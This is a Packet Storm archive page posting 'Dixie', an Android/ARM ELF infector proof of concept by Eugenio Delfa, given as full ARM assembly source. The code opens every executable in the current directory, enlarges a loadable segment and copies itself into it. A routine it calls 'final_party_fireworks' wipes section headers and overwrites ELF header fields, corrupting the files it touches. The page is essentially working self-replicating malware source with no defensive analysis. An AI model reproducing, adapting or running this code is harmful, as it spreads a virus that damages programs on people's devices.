exploit the possibilities

Android/ARM Elf Infector Proof Of Concept

Android/ARM Elf Infector Proof Of Concept
Posted Dec 24, 2013
Authored by Eugenio Delfa

Android/ARM elf infector proof of concept ASM code.

tags | shellcode, proof of concept
MD5 | 3e14c445abf69be1c96552d1aabd3f6e

Android/ARM Elf Infector Proof Of Concept

Change Mirror Download
; Dixie: Android/ARM VxD Proof Of Concept
; References:
; - Silvio Cesare: http://vxheaven.org/lib/static/vdat/tuunix01.htm
; - Mark Ludwig: http://vxheavens.com/lib/vml01.html
; - ARM: http://infocenter.arm.com
.text
.global _start
_start:
0: // Self segment Read and Write Permissions.
and r0, pc, $0xf000 // PC 4049 bytes PAGE_SIZE aligment (lower address)
bl _fullPagePermissions
cmp r7, $0
bne _End_Program
1: // Open Actual directory to loop through his entries.
adrl r0, actualdir
bl _openDir
cmp r7, $0
ble _End_Program
mov r5, r7 // r5: actualdir file handle.
2: // While we have antries to work with, check and try to infect.
_WhileDirEntries:
// getdents sycall call
mov r0, r5
bl _getDirEntries
cmp r7, $0
ble _End_Program
mov r6, r7 // r6: bytes readed into linux_dirent buffer
mov r0, $0x00
mov r4, r0
_WhileEntriesToRead:
// Extract file name address from linux_dirent buffer
mov r1, r6
bl _getEntryFileName
cmp r7, $0x00 // r7: file name address.
beq _WhileDirEntries // no more entries to read.
// ?¿ xD
mov r0, r7
bl _TryToInoculate
// now try with the next entry (counter++)
mov r0, r4
add r0, r0, $1
add r4, r4, $1
b _WhileEntriesToRead
b _WhileDirEntries
_End_Program:
mov r7, $1
mov r0, $0
svc 0

/*********************/
/** File Operations **/
/*********************/
// in: r0 file name address, out: r7 file handle or -N error code
_openFile:
push {r1-r6, lr}
mov r1, $2 // open for Read and Write.
sub r2, r2, r2 // O_RDWR
mov r7, $0x05
svc 0
mov r7, r0
pop {r1-r6, pc}


// in: r0 file handle, out: r7 file length or -N error code
_getFileLength:
push {r1-r6, lr}
mov r1, $0
mov r2, $2 // SEEK_END
mov r7, $0x13
svc 0
mov r7, r0
pop {r1-r6, pc}

// in: r0 file handle
_closeFile:
push {r1-r6, lr}
mov r7, $0x06
svc 0
pop {r1-r6, pc}

/**************************/
/** Directory Operations **/
/**************************/
// in: r0 dir name address, out: r7 file handle or -N error code
_openDir:
push {r1-r6, lr}
mov r7, $5
sub r1, r1, r1 // O_RDONLY
sub r2, r2, r2
svc 0
mov r7, r0
pop {r1-r6, pc}

// in: r0 file handle, out: r7 bytes readed or -N error code (into hardcoded linux_dirent buffer)
_getDirEntries:
push {r1-r6, lr}
mov r7, $141
adrl r1, linux_dirent_buffer
adrl r2, linux_dirent_buffer_size
ldr r2, [r2]
svc 0
mov r7, r0
pop {r1-r6, pc}

// in: r0 N linux_dirent entry to look for, out: r7 name address or 0
_getEntryFileName:
push {r2-r6, lr}
adrl r6, linux_dirent_buffer
mov r5, $0
mov r7, $0
_DoWhileEntries:
cmp r7, r0 // n entry found ?
beq _endWithSuccess
ldrh r3, [r6, $0x08]
add r5, r5, r3 // size++
add r7, r7, $1 // counter++
add r6, r6, r3 // offset++
cmp r5, r1 // offset >= buffer size ?
bge _endWithError
b _DoWhileEntries
_endWithError:
sub r7, r7, r7
b _endDoWhile
_endWithSuccess:
add r7, r6, $0x0A
_endDoWhile:
pop {r2-r6, pc}

/***********************/
/** Memory Operations **/
/***********************/
// in: r0 file handle, r1 file length, out: r7 memory address or -N error code
_mapFileInMemory:
push {r2-r6, lr}
mov r5, $0x00 // start mapping file from offset 0.
mov r4, r0 // file handle to map.
mov r3, $0x01 // MAP_SHARED
mov r2, $0x03 // PROT_READ & PROT_WRITE
// r1: file length.
mov r0, $0x00 // map into NULL base address (kernel chooses the address).
push {r0-r5}
mov r7, $0xC0
svc 0
mov r7, r0
pop {r0-r5}
pop {r2-r6, pc}

// in: r0 memory mapped base address, r1 memory mapped size (bytes)
_unmapFileFromMemory:
push {r1-r6, lr}
mov r7, $0x5b
svc 0
pop {r1-r6, pc}

// in: r0 memory address to work with (1 page at a time), out: r7 0 on success
_fullPagePermissions:
push {r1-r6, lr}
adrl r1, page_size
ldr r1, [r1] // 0x1000 page size.
mov r2, $7 // PROOT_READ | PROT_WRITE | PROT_EXEC
mov r7, $0x7d
svc 0
mov r7, r0
pop {r1-r6, pc}

// in: r0 base address of unused space to work with, out: r7 always 0
_CopyEvilCode:
push {r1-r6, lr}
// r0: write start point
adrl r1, _start // r1: read start point
adrl r2, _end_code
sub r2, r2, r1 // r2: bytes to read/write
mov r3, $0
_FillLoop:
ldr r4, [r1, r3]
str r4, [r0, r3]
cmp r3, r2
beq _EndFillLoop
add r3, r3, $1
b _FillLoop
_EndFillLoop:
nop
_final_party_fireworks:
and r0, r0, $0xf0000000
ldr r1, [r0, $32] // e_shoff
add r1, r0
ldrh r2, [r0, $46] // e_shentisize
ldrh r3, [r0, $48] // e_shnum
mul r4, r2, r3
mov r5, $0
_aa1:
str r5, [r1, r5]
add r5, $1
cmp r5, r4
blt _aa1
_aa2:
mov r1, $123
str r1, [r0, $20]
str r1, [r0, $32]
str r1, [r0, $40]
str r1, [r0, $46]
str r1, [r0, $48]
str r1, [r0, $50]
mov r7, $0
pop {r1-r6, pc}

/********************************/
/** ELF File Format Operations **/
/********************************/
// in: r0 base memory address where file was mapped to, out: r7 0 if valid for infections
_validELF:
push {r1-r6, lr}
adrl r7, sanity
ldr r7, [r7]
// reading ehdr fields
ldr r1, [r0, $0x00] // EI_MAG
ldrb r2, [r0, $0x04] // EI_CLASS
ldrb r3, [r0, $0x05] // EI_DATA
ldrb r4, [r0, $0x06] // EI_VERSION
ldrh r5, [r0, $0x10] // e_type
// checking values
sub r7, r7, r1 // \x177ELF ?
sub r7, r7, r2 // ELFCLASS32 ?
sub r7, r7, r3 // ELFDATA2LSB ?
sub r7, r7, r4 // EV_CURRENT ?
sub r7, r7, r5 // ET_EXEC ?
pop {r1-r6, pc}

// in: r0 file name address, out: r7 0 on success
_TryToInoculate:
push {r1-r6, lr}
bl _openFile
cmp r7, $0
ble _just_return
_IfOpened:
mov r6, r7 // r6 file handle to reuse in other file operations.
// getting file size to correctly map them in memory,
mov r0, r7
bl _getFileLength
cmp r7, $0
ble _close_file
mov r5, r7 // r5 file size to reuse in other file operations.
// mmap2 call to map file in memory.
mov r0, r6
mov r1, r7
bl _mapFileInMemory
cmp r7, $0
blt _close_file
_IfMapped:
mov r4, r7 // r4 memory address where file was mapped to reuse in ELF operations.
// Checking if ELF has valid format to inject our code.
mov r0, r7
bl _validELF
cmp r7, $0
bne _unmap_file
_IfValidForInfection:
// Look for phdr PT_LOAD type and update sizes if has correct format.
mov r0, r4
bl _UpdatePTLOADProgramHeader
cmp r7, $0
beq _unmap_file
_IfvalidPTLOAD:
mov r0, r7
bl _CopyEvilCode
_unmap_file:
mov r0, r4
bl _unmapFileFromMemory
_close_file:
mov r0, r6
bl _closeFile
_just_return:
pop {r1-r6, pc}

// in: r0 base memory address where file was mapped to, r7 offset where unused space start or 0 on error
_UpdatePTLOADProgramHeader:
push {r1-r6, lr}
ldr r1, [r0, $28] // e_phoff
add r1, r1, r0 // r1: program header entry offset
mov r2, $1 // program header entry counter definition
mov r3, $0 // program header index return value definition
for_phdrs:
ldr r4, [r1] // p_type
cmp r4, $1 // PT_LOAD ?
bne try_with_next_phdr_entry
if_LOAD_section:
ldr r4, [r1, $24] // p_flags
ands r5, r4, $1 // PV_X ?
beq try_with_next_phdr_entry
if_EXEC:
ldr r4, [r1, $16] // p_filesz
ldr r5, [r1, $20] // p_memsz
subs r4, r5 // p_filesz == p_memsz
bne try_with_next_phdr_entry
if_CONGRUENT_SIZES:
ldr r4, [r1, $4] // p_offset
cmp r4, $0 // first segment ?
bne try_with_next_phdr_entry
if_OFFSET0:
moveq r7, r2
b _endFor_phdrs_success
try_with_next_phdr_entry:
ldrh r4, [r0, $42]
add r1, r4 // next program header entry
ldrh r4, [r0, $44]
add r2, $1 // counter ++
cmp r2, r4 // last entry ?
ble for_phdrs
sub r7, r7 // finish with error
b _endFor_phdrs_finally
_endFor_phdrs_success:
// [i] Notes: freespace_in_segment_for_injection = ((((size >> 12) + 1) << 12) - size)
// [i] Assuming 0x1000 page size & base address 0xXXXXX000 (the most usual case but not ever is true)
// [i] ARM have not DIV/MOD instructions, I'm to lazy to make the formula without this and i don't want to c&p others work :(

// r1: offset of program (target PT_LOAD) header entry.
ldr r2, [r1, $16] // filesz
lsr r3, r2, $12
add r3, $1
lsl r3, $12
sub r3, r3, r2 // r3: available space in segment for injection

// getting evil code size to chech if we have enough space.
adrl r2, _start
adrl r4, _end_code
sub r2, r4, r2 // r2: evil code size
// have we ?
cmp r3, r2
ble if_enough_else
if_enough:
ldr r3, [r1, $16]
add r2, r3
str r2, [r1, $16] // p_filesz += evil_size
str r2, [r1, $20] // p_memsz += evil_size
// unused space start calculation
ldrh r4, [r0, $44] // e_phnum
ldrh r5, [r0, $42] // e_phentsize
ldr r6, [r0, $28] // e_phoff
mul r4, r5
add r7, r4, r6
add r7, r0 // .text unused space start address
b _endFor_phdrs_finally
if_enough_else:
sub r7, r7
_endFor_phdrs_finally:
pop {r1-r6, pc}

/*************************************/
/** Data space inside .text section **/
/*************************************/
actualdir: .asciz "."
linux_dirent_buffer: .space 0x10A
linux_dirent_buffer_size: .word 0x10A
page_size: .word 0x1000
sanity: .word 0x464c4584

_end_code:

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close